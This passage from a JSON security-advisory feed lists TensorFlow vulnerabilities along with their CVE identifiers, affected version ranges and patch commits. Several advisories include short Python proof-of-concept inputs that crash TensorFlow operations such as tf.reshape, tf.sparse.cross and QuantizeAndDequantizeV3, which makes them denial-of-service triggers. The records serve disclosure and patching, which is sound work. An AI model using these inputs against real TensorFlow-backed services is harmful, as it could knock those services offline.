2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.242Z","updated_at":"2023-01-28T05:03:02.000Z","epss_percentage":0.00202,"epss_percentile":0.42687},{"uuid":"GSA_kwCzR0hTQS1yMjZjLTY3OXctbXJqbc4AAu2T","url":"https://github.com/advisories/GHSA-r26c-679w-mrjm","title":"TensorFlow vulnerable to `CHECK` fail in `FakeQuantWithMinMaxVarsGradient`","description":"### Impact\nWhen `tf.quantization.fake_quant_with_min_max_vars_gradient` receives input `min` or `max` that is nonscalar, it gives a `CHECK` fail that can trigger a denial of service attack.\n```python\nimport tensorflow as tf\nimport numpy as np \narg_0=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)\narg_1=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)\narg_2=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)\narg_3=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)\narg_4=8\narg_5=False\narg_6=''\ntf.quantization.fake_quant_with_min_max_vars_gradient(gradients=arg_0, inputs=arg_1,\nmin=arg_2, max=arg_3, num_bits=arg_4, narrow_range=arg_5, name=arg_6)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [f3cf67ac5705f4f04721d15e485e192bb319feed](https://github.com/tensorflow/tensorflow/commit/f3cf67ac5705f4f04721d15e485e192bb319feed).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by\n - 刘力源, Information System \u0026 Security and Countermeasures Experiments Center, Beijing Institute of Technology\n - Neophytos Christou, Secure Systems Labs, Brown University\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T21:28:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-r26c-679w-mrjm","https://github.com/tensorflow/tensorflow/commit/f3cf67ac5705f4f04721d15e485e192bb319feed","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36005","https://github.com/advisories/GHSA-r26c-679w-mrjm"],"source_kind":"github","identifiers":["GHSA-r26c-679w-mrjm","CVE-2022-36005"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.267Z","updated_at":"2023-01-28T05:03:01.000Z","epss_percentage":0.00229,"epss_percentile":0.45653},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXE4Z3YtcTd3ci05amY4","url":"https://github.com/advisories/GHSA-q8gv-q7wr-9jf8","title":"Segfault in Tensorflow","description":"### Impact\nIn eager mode, TensorFlow does not set the session state. Hence, calling `tf.raw_ops.GetSessionHandle` or `tf.raw_ops.GetSessionHandleV2` results in a null pointer dereference:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/session_ops.cc#L45\n\nIn the above snippet, in eager mode, `ctx-\u003esession_state()` returns `nullptr`. Since code immediately dereferences this, we get a segmentation fault.\n\n### Patches\nWe have patched the issue in 9a133d73ae4b4664d22bd1aa6d654fec13c52ee1 and will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-09-25T18:28:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-q8gv-q7wr-9jf8","https://github.com/tensorflow/tensorflow/commit/9a133d73ae4b4664d22bd1aa6d654fec13c52ee1","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15204","http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00065.html","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-284.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-319.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-127.yaml","https://github.com/advisories/GHSA-q8gv-q7wr-9jf8"],"source_kind":"github","identifiers":["GHSA-q8gv-q7wr-9jf8","CVE-2020-15204"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.58776112468632,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.715Z","updated_at":"2024-10-28T14:47:23.000Z","epss_percentage":0.00221,"epss_percentile":0.44782},{"uuid":"GSA_kwCzR0hTQS1tdjhtLTh4OTctOTM3cc4AAu2Q","url":"https://github.com/advisories/GHSA-mv8m-8x97-937q","title":"TensorFlow vulnerable to `CHECK` fail in `tf.random.gamma`","description":"### Impact\nWhen `tf.random.gamma` receives large input shape and rates, it gives a `CHECK` fail that can trigger a denial of service attack.\n```python\nimport tensorflow as tf\narg_0=tf.random.uniform(shape=(4,), dtype=tf.int32, maxval=65536)\narg_1=tf.random.uniform(shape=(4, 4), dtype=tf.float64, maxval=None)\narg_2=tf.random.uniform(shape=(4, 4, 4, 4, 4), dtype=tf.float64, maxval=None)\narg_3=tf.float64\narg_4=48\narg_5='None'\ntf.random.gamma(shape=arg_0, alpha=arg_1, beta=arg_2, dtype=arg_3, seed=arg_4, name=arg_5)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [552bfced6ce4809db5f3ca305f60ff80dd40c5a3](https://github.com/tensorflow/tensorflow/commit/552bfced6ce4809db5f3ca305f60ff80dd40c5a3).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by 刘力源, Information System \u0026 Security and Countermeasures Experiments Center, Beijing Institute of Technology.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T21:23:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-mv8m-8x97-937q","https://github.com/tensorflow/tensorflow/commit/552bfced6ce4809db5f3ca305f60ff80dd40c5a3","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36004","https://github.com/advisories/GHSA-mv8m-8x97-937q"],"source_kind":"github","identifiers":["GHSA-mv8m-8x97-937q","CVE-2022-36004"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.294Z","updated_at":"2023-01-28T05:03:01.000Z","epss_percentage":0.0026,"epss_percentile":0.49221},{"uuid":"GSA_kwCzR0hTQS1yaDg3LXE0dmctbTQ1as4AAu2M","url":"https://github.com/advisories/GHSA-rh87-q4vg-m45j","title":"TensorFlow vulnerable to integer overflow in math ops","description":"### Impact\nWhen [`RangeSize`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/ops/math_ops.cc) receives values that do not fit into an `int64_t`, it crashes.\n```cpp\n  auto size = (std::is_integral\u003cT\u003e::value\n                   ? ((Eigen::numext::abs(limit - start) +\n                       Eigen::numext::abs(delta) - T(1)) /\n                      Eigen::numext::abs(delta))\n                   : (Eigen::numext::ceil(\n                         Eigen::numext::abs((limit - start) / delta))));\n\n  // This check does not cover all cases.\n  if (size \u003e std::numeric_limits\u003cint64_t\u003e::max()) {\n    return errors::InvalidArgument(\"Requires ((limit - start) / delta) \u003c= \",\n                                   std::numeric_limits\u003cint64_t\u003e::max());\n  }\n\n  c-\u003eset_output(0, c-\u003eVector(static_cast\u003cint64_t\u003e(size)));\n  return Status::OK();\n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [37e64539cd29fcfb814c4451152a60f5d107b0f0](https://github.com/tensorflow/tensorflow/commit/37e64539cd29fcfb814c4451152a60f5d107b0f0).\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n","origin":"UNSPECIFIED","severity":"LOW","published_at":"2022-09-16T21:20:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rh87-q4vg-m45j","https://github.com/tensorflow/tensorflow/commit/37e64539cd29fcfb814c4451152a60f5d107b0f0","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36015","https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/ops/math_ops.cc","https://github.com/advisories/GHSA-rh87-q4vg-m45j"],"source_kind":"github","identifiers":["GHSA-rh87-q4vg-m45j","CVE-2022-36015"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.338Z","updated_at":"2023-01-28T05:02:54.000Z","epss_percentage":0.00264,"epss_percentile":0.49736},{"uuid":"GSA_kwCzR0hTQS05Y3IyLThwd3ItZmhmcc4AAu2H","url":"https://github.com/advisories/GHSA-9cr2-8pwr-fhfq","title":"TensorFlow vulnerable to `CHECK` fail in `QuantizeAndDequantizeV3`","description":"### Impact\nIf `QuantizeAndDequantizeV3` is given a nonscalar `num_bits` input tensor, it results in a `CHECK` fail that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\nsigned_input = True\nrange_given = False\nnarrow_range = False\naxis = -1\ninput = tf.constant(-3.5, shape=[1], dtype=tf.float32)\ninput_min = tf.constant(-3.5, shape=[1], dtype=tf.float32)\ninput_max = tf.constant(-3.5, shape=[1], dtype=tf.float32)\nnum_bits = tf.constant([], shape=[0], dtype=tf.int32)\ntf.raw_ops.QuantizeAndDequantizeV3(input=input, input_min=input_min, input_max=input_max, num_bits=num_bits, signed_input=signed_input, range_given=range_given, narrow_range=narrow_range, axis=axis)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [f3f9cb38ecfe5a8a703f2c4a8fead434ef291713](https://github.com/tensorflow/tensorflow/commit/f3f9cb38ecfe5a8a703f2c4a8fead434ef291713).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T21:15:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-9cr2-8pwr-fhfq","https://github.com/tensorflow/tensorflow/commit/f3f9cb38ecfe5a8a703f2c4a8fead434ef291713","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36026","https://github.com/advisories/GHSA-9cr2-8pwr-fhfq"],"source_kind":"github","identifiers":["GHSA-9cr2-8pwr-fhfq","CVE-2022-36026"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.395Z","updated_at":"2023-01-28T05:03:00.000Z","epss_percentage":0.00215,"epss_percentile":0.44148},{"uuid":"GSA_kwCzR0hTQS1tNmN2LTRmbWYtNjZ4Zs4AAu2G","url":"https://github.com/advisories/GHSA-m6cv-4fmf-66xf","title":"TensorFlow vulnerable to `CHECK` fail in `RaggedTensorToVariant`","description":"### Impact\nIf `RaggedTensorToVariant` is given a `rt_nested_splits` list that contains tensors of ranks other than one, it results in a `CHECK` fail that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\nbatched_input = True\nrt_nested_splits = tf.constant([0,32,64], shape=[3], dtype=tf.int64)\nrt_dense_values = tf.constant([0,32,64], shape=[3], dtype=tf.int64)\ntf.raw_ops.RaggedTensorToVariant(rt_nested_splits=rt_nested_splits, rt_dense_values=rt_dense_values, batched_input=batched_input)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [88f93dfe691563baa4ae1e80ccde2d5c7a143821](https://github.com/tensorflow/tensorflow/commit/88f93dfe691563baa4ae1e80ccde2d5c7a143821).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T21:14:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-m6cv-4fmf-66xf","https://github.com/tensorflow/tensorflow/commit/88f93dfe691563baa4ae1e80ccde2d5c7a143821","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36018","https://github.com/advisories/GHSA-m6cv-4fmf-66xf"],"source_kind":"github","identifiers":["GHSA-m6cv-4fmf-66xf","CVE-2022-36018"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.412Z","updated_at":"2023-01-30T05:02:43.000Z","epss_percentage":0.00215,"epss_percentile":0.44148},{"uuid":"GSA_kwCzR0hTQS1mNHc2LWg0ZjUtd3g0Nc4AAu13","url":"https://github.com/advisories/GHSA-f4w6-h4f5-wx45","title":"TensorFlow vulnerable to `CHECK` failure in tf.reshape via overflows","description":"### Impact\nThe implementation of tf.reshape op in TensorFlow is vulnerable to a denial of service via CHECK-failure (assertion failure) caused by overflowing the number of elements in a tensor:\n```python\nimport tensorflow as tf\n\ntf.reshape(tensor=[[1]],shape=tf.constant([0 for i in range(255)], dtype=tf.int64))\n```\nThis is another instance of [TFSA-2021-198](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-198.md) (https://github.com/advisories/GHSA-prcg-wp5q-rv7p).\n\n### Patches\nWe have patched the issue in GitHub commit [61f0f9b94df8c0411f0ad0ecc2fec2d3f3c33555](https://github.com/tensorflow/tensorflow/commit/61f0f9b94df8c0411f0ad0ecc2fec2d3f3c33555).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Kang Hong Jin from Singapore Management University.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T20:56:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-f4w6-h4f5-wx45","https://github.com/tensorflow/tensorflow/commit/61f0f9b94df8c0411f0ad0ecc2fec2d3f3c33555","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35934","https://github.com/advisories/GHSA-f4w6-h4f5-wx45"],"source_kind":"github","identifiers":["GHSA-f4w6-h4f5-wx45","CVE-2022-35934"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.588Z","updated_at":"2023-01-30T05:02:52.000Z","epss_percentage":0.00105,"epss_percentile":0.29495},{"uuid":"GSA_kwCzR0hTQS1wN2hyLWY0NDYteDZxZs4AAu1u","url":"https://github.com/advisories/GHSA-p7hr-f446-x6qf","title":"TensorFlow vulnerable to `CHECK` fail in `tf.sparse.cross`","description":"### Impact\nIf `tf.sparse.cross` receives an input `separator` that is not a scalar, it gives a `CHECK` fail that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\ntf.sparse.cross(inputs=[],name='a',separator=tf.constant(['a', 'b'],dtype=tf.string))\n```\n\n### Patches\nWe have patched the issue in GitHub commit [83dcb4dbfa094e33db084e97c4d0531a559e0ebf](https://github.com/tensorflow/tensorflow/commit/83dcb4dbfa094e33db084e97c4d0531a559e0ebf).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Kang Hong Jin.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T19:25:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p7hr-f446-x6qf","https://github.com/tensorflow/tensorflow/commit/83dcb4dbfa094e33db084e97c4d0531a559e0ebf","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35997","https://github.com/advisories/GHSA-p7hr-f446-x6qf"],"source_kind":"github","identifiers":["GHSA-p7hr-f446-x6qf","CVE-2022-35997"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"},{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.713Z","updated_at":"2023-01-28T05:02:53.000Z","epss_percentage":0.00141,"epss_percentile":0.35005},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXc1Z2gtMndyMi1wbTZn","url":"https://github.com/advisories/GHSA-w5gh-2wr2-pm6g","title":"Denial of Service in Tensorflow","description":"### Impact\nChanging the TensorFlow's `SavedModel` protocol buffer and altering the name of required keys results in segfaults and data corruption while loading the model. This can cause a denial of service in products using `tensorflow-serving` or other inference-as-a-service installments.\n\nWe have added fixes to this in f760f88b4267d981e13f4b302c437ae800445968 and fcfef195637c6e365577829c4d67681695956e7d (both going into TensorFlow 2.2.0 and 2.3.0 but not yet backported to earlier versions). However, this was not enough, as #41097 reports a different failure mode.\n\n### Patches\nWe have patched the issue in adf095206f25471e864a8e63a0f1caef53a0e3a6 and will release patch releases for all versions between 1.15 and 2.3. Patch releases for versions between 1.15 and 2.1 will also contain cherry-picks of f760f88b4267d981e13f4b302c437ae800445968 and fcfef195637c6e365577829c4d67681695956e7d.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Shuaike Dong, from Alipay Tian Qian Security 